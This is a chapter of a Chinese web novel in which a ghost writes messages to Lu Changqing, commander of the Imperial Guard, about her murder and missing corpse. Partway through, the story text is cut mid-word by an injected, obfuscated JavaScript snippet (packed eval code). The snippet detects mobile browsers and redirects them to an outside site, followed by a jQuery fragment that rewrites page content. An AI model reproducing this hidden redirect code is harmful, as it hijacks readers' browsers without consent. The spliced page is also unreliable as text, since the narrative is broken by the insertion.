陆长青案头仍有写散乱,索性起身,将桌案收拾得整整齐齐,又搬来一把圈椅置于我身后,沉声道:“你若是已死之身,便早早交代了吧。”
“某先前失礼,在此向你道个不是。”他折身而返,朝我深深作了一揖。
我目瞪口呆,只觉眼前一切恍如幻象,此人怎么短短数息之间判若两人,可是有甚么阴谋?
亦或是是什么缘由让他信了?
在我歇息的那段时间,究竟发生了什么?
我疑窦从心中升起,半信半疑地运动狼毫笔。
身侧烛影摇晃,光晕在宣纸上投下细碎的晃动,我一笔一划,字迹工整地写下心中困惑,“可是发生了什么事?竟让指挥使大人改口,信了我是鬼。”
他长睫微垂,语气平静而笃定:“锦衣卫已将仙韶乐府围得水泄不通,别说活人,便是一只小小苍蝇也难逃锦衣卫的鹰眼。而你在我的眼皮底下大施异术,全无忌惮,若非人为,确实只有鬼神能令人信服。
“我并非寻常人,自然是不会轻易听信你的一面之词,不过,方才你已为我解了惑,我有何道理不信?”
“那你为何一口咬定我是红鸾?”
“若非红鸾,怎会弹奏她的古琴。弦音悲调,泣音如血,若非亲历者,断难传达这般刻骨之情。”
“你能听见我的歌声?那我说话......”
“听不见,亦看不见,故令你持这狼豪笔,在这宣纸上写下解我心中疑惑的答案。”
“原是如此。”
我暗自长舒了一口气,心里对而恶鬼新娘夸道,“你择这陆长青确实不是一般凡人,就是性情凶残了些,若是再温和亲人几分便好了。”
恶鬼新娘依旧没有回应我,想必是还昏着呢。
我捏着狼毫笔,朝一边叠放的宣纸指了指,阴风吹动宣纸一角。
陆长青立即会意,取过一张新的宣纸,工工整整地铺展在我的面前。
我写道:“我确是红鸾不错。”
我看着我写的那一行字,虽然我是孤魂野鬼,却和红鸾——也就是恶鬼新娘共用一体,说我是红鸾本尊也不为过。
“你有什么想问的,说吧。”
陆长青见状,当即发问:“请问红鸾姑娘,你的尸身在何处?”
“我不知道。”
“那你知道多少。”
“我知道有人蓄意加害于我,那人对我下了巫蛊之术,待七七四十九日之后,我便会灰飞烟灭,再无重临事件的可能。”
“谁害的你。”陆长青问。
“你要帮我?”
“此话何意?”
“你若无意相助,我又怎知你与那加害者是否毫无瓜葛,若阴差阳错将我之口信传入他耳中,我岂非自投罗网,羊入虎口?”
“姑娘既有此顾虑,那为何缠上我?”陆长青眉峰微挑,“某若要加害于你,我又何必信你鬼神之说。”
“此话不假,可我亦有难言之隐。”我斟酌着措辞,“我只需你替我寻回尸身,其余之事,就不劳烦大人了。
“我身为阴魂,自有鬼界能耐,若大人有需相助之处,我必当倾力相助。”
我虽不知加害恶鬼新娘的那人是谁,但我心中直觉,此时不可全盘托出。这些细节之处还是要等恶鬼新娘醒来之后在商议为妥,毕竟,死的是她,不是我。
我没有资格替她将事情全权托管陆长青。
“好,姑娘既不愿说,某也不强求。”陆长青语气平缓,“只是此事诡谲,若某不早日查出真相,既无法向陛下复命,亦无法对顺天百姓交代。更怕此事传开,引得人心惶惶。只望姑娘诚心配合,早日揪出真凶,你也好早日投胎,某也能尽早了却此案。”
“眼下时机未到,若能说的,我必定不瞒大人。”我放下狼豪笔,催动阴风将那张画像卷了过来,提笔写道:“徐明并非善类,请大人详查。”
“姑娘可是知晓甚么内情?”
“这.......”我登时脑中一片空白,这恶鬼新娘也没同我说呀,我只知方才她说的那句“可吾观其态,恨意翻涌,若阴火暗焚”,分明就是在说这徐明并非如他话中那般对待恶鬼新娘。
可叹恶鬼新娘也不知为何与我一般,都失了记忆,叫我如何细说?
我手中紧握着狼毫笔,面露难色地望着陆长青,幸而他看不见我,否则这般窘迫模样,早已破绽百出。
我凝神运笔,又写道:“大人只管彻查便是,真相自会水落石出。”
写罢,我将狼毫笔一撂。初次合作,不可过度轻信,防人之心不可无。
我心中反复告诫自己,对方可是锦衣卫指挥使,审讯的老江湖,心思深沉得很。
但愿他信我之言。
“某晓得了。”陆长青颔首,“今夜我已遣人去宣南坊提审你兄长秦英达,待明日天明,便在公廨提审三人,若红鸾姑娘有知情之事,还请尽数奉告。”
“晓得了。”我提笔补充,“另有一事相求。”
“何事?”
“我如今寄身于你之佩剑中,还请大人给剑鞘留些缝隙,时刻带在身上,让我能来去自如。”
“佩剑?”陆长青起身,从架上取下弯刀,话音未落,他已然抽刀出鞘。
寒光凛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092997|195521||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
冽的弯刀在我面前划过,我下意识侧身躲闪,阴风鼓动圈椅,与地面磨蹭发出刺耳的拖拽声,魂体也因为骤然移动而动荡。
吓死我了,险些又被他砍中一刀。
他见状,神情微露错愕,抬手将弯刀举至眼前,沉声问道:“你惧这刀?”
“怎、怎么可能。”我额间竟沁出一滴冷汗,嘴角勉强勾起,干笑了几声,终是垂头认怂,“好吧,我怕。”
这把刀既能伤我,偏又是我的安身之处,这般进退两难,真真是憋屈至极!
几个呼吸间,我强压心头慌乱,提笔写道:“鬼无形,穿万物,难道大人连这等常识都不知?”
“姑娘此话有理,是某唐突了。”陆长青唇角轻勾,眼底藏着几分不已察觉的戏谑,手中弯刀骤然挽了个凌厉的剑花,银刃再度朝我身前靠来。
我下意识侧身躲闪,又触及圈椅,发出刺耳的拖拽声。
我听见陆长青低低地笑了几声。
那笑声清越,比平时少了几分凌厉。
“好啊,你是故意的!”我气得鼓起双颊,活像只胀圆的河豚,咬牙暗骂,“陆长青你可恶,你诡计多端,明明知晓我惧怕这刀,还故意戏耍于我,令我自爆弱点!”
我嘴上愤愤不平,笔下却只能硬着头皮写道:“不许笑,我那是阴风不慎碰动了椅子。”
“姑娘说什么,便是什么吧。”他收敛笑意,语气恢复了几分平和,“夜已深了,某要歇息了,请姑娘回剑中安歇。”
说罢,他转身将佩刀往架上轻轻放了上去,迈步绕过我,径直朝屏风边上道走去。
“歇息?”我望着他离去的背影,月光透过窗柩轻洒在他的身上,洁白光滑的丝绸衣摆随步履轻扬,三千乌发如墨缎般垂落,沐浴在盈盈月光下,似覆了一层细碎银霜。
这般清俊模样,我却看得牙痒痒的,“歇息什么歇息?你既已拿捏我的弱点,我岂能不寻你的把柄!不然日后岂不是要被你随意使唤。”
我环顾四周,心念一动,朝屏风旁飘了过去。
陆长青并没有卸下帘蔓,他平躺在床榻上,身上盖着一床素色薄被,眉目舒展,睡颜竟透露着几分安和,褪去了白日的杀伐之气。
我左看看右看看,忽见一侧立着一张客塌,当即飘了过去卧下。我紧盯着陆长青的睡颜,语气带着几分狡黠,缓缓道:“待你沉睡之后,我便将你这住所翻个底朝天!”
“堂堂指挥使大人,权柄赫赫,一人之下万人之上,我不信你当真能做到清正廉明、遵纪守法!”
“届时,待我攥住你的把柄,定要让你也尝尝忌惮颤栗的滋味!”